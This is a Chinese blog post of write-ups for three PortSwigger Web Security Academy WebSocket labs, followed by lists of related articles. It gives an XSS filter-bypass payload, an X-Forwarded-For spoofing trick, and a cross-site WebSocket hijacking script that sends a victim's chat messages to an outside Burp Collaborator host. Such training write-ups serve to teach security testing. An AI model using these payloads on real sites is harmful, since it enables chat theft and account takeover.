Portswigger web security academy:WebSockets

Lab: Manipulating WebSocket messages to exploit vulnerabilities

  • 题目描述

    • 在线商城有一个用WebSockets实现的在线聊天功能
    • 你提交的聊天消息会被辅助客户端实时查看
  • 要求
    • 使用WebScoket消息触发alert()
  • 解题步骤
    • 只是把HTTP协议换成WebSockets协议,核心思想方法没有变
    • 在WebSockets history中把发送信息的请求包发送到Repeater
    • 把消息内容修改为xss payload

Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

  • 题目描述

    • 在线商城有一个用WebSockets实现的在线聊天功能
    • 它有一个主动但是存在缺陷的XSS过滤器
  • 要求
    • 使用WebScoket消息触发alert()
  • 解题过程
    • 测一下过滤了些啥:(连接失败后,利用X-Forwarded-For伪造IP重置连接即可)

      • 过滤了n多标签,iframe可用
      • 过滤了()
      • 过滤了onxxxx事件
      • 过滤了javascript
    • 最后的payload和solution一样 <iframe src='JavAsCript:alert`1`'>

Lab: Cross-site WebSocket hijacking

  • 题目描述

    • 在线商城有一个用WebSockets实现的在线聊天功能
  • 要求

    • 使用exploit server构造一个跨站点WebSocket劫持攻击,来获取受害者的聊天历史,并接管账号
  • 解题过程

    • websocket劫持和利用iframe通信进行csrf比较类似,通过事件绑定来返回数据

    • 脚本参考solution,没有考虑到onopen事件的处理

    • <script>
      websocket = new WebSocket('wss://ac9c1ff41e8e379c807359aa0094001e.web-security-academy.net/chat')
      websocket.onopen = function start(event) {
      websocket.send("READY");
      }
      websocket.onmessage = function handleReply(event) {
      fetch('https://4bg8qgdszeud8bkot06y0rrg177xvm.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
      } </script>

Portswigger web security academy:WebSockets的更多相关文章

  1. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  2. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  3. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  4. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  5. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  6. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  7. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  8. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  9. Portswigger web security academy:Server-side template injection(SSTI)

    Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...

随机推荐

  1. mysql 使用sleep操作 update 来停止一段时间执行语句 [骚操作]

    update mytestTable inner join(select '2' as id, sleep(5)) a on mytestTable.id=a.id set mytestTable.n ...

  2. 不一样的软件们——GitHub 热点速览 v.21.10

    作者:HelloGitHub-小鱼干 创意,是程序员的一个身份代名词,一样的软件有不一样的玩法.比如,你可以像用 git 一样操作一个 SQL 数据库,dolt 就是这样的数据库.又比如,你可以只写文 ...

  3. Netty源码 reactor 模型

    翻阅源码时,我们会发现netty中很多方法的调用都是通过线程池的方式进行异步的调用, 这种  eventLoop.execute 方式的调用,实际上便是reactor线程.对应项目中使用广泛的NioE ...

  4. UI透明欺诈

    判断是否存在的代码:   private static boolean c(Activity paramActivity)   {     List localList = ((ActivityMan ...

  5. TIOBE 编程语言排行榜

    https://www.tiobe.com/tiobe-index/ TIOBE 编程语言排行榜是编程语言流行趋势的一个指标

  6. go调用python命令行参数过量报错python.exe: The filename or extension is too long.的解决方法

    当我们在调用python时,如果传入的参数数据量过大时会报错 python.exe: The filename or extension is too long. 这时候我们的解决办法是放弃传参,将想 ...

  7. P1049_装箱问题(JAVA语言)

    思路:动态规划的背包问题.使箱子剩余空间最小,也就是使箱内装的物品体积达到最大,我们可将物品的体积视为价值,然后按照01背包问题求解即可. //直接上模板 题目描述 有一个箱子容量为VV(正整数,0 ...

  8. python多版本与虚拟环境

    这篇纯python技术文章,我自己平时也会用到,在此记录一下. 为什么会用到多个Python版本? 用macOS和Ubutntu的同学都知道系统默认安装的Python2.7.x,然后,我们平时pyth ...

  9. 极简实用的Asp.NetCore模块化框架决定免费开源了

    背景 在开发这个框架之前,前前后后看过好几款模块化的框架,最后在一段时间内对ABP VNext痛下狠心,研究一段时间后,不得不说 ABP VNext的代码层面很规范,也都是一些最佳实践,开发出一个模块 ...

  10. 我的xshell配色方案,绿色/护眼/留存/备份

    [mycolor] text(bold)=e9e9e9 magenta(bold)=ff00ff text=00ff80 white(bold)=fdf6e3 green=80ff00 red(bol ...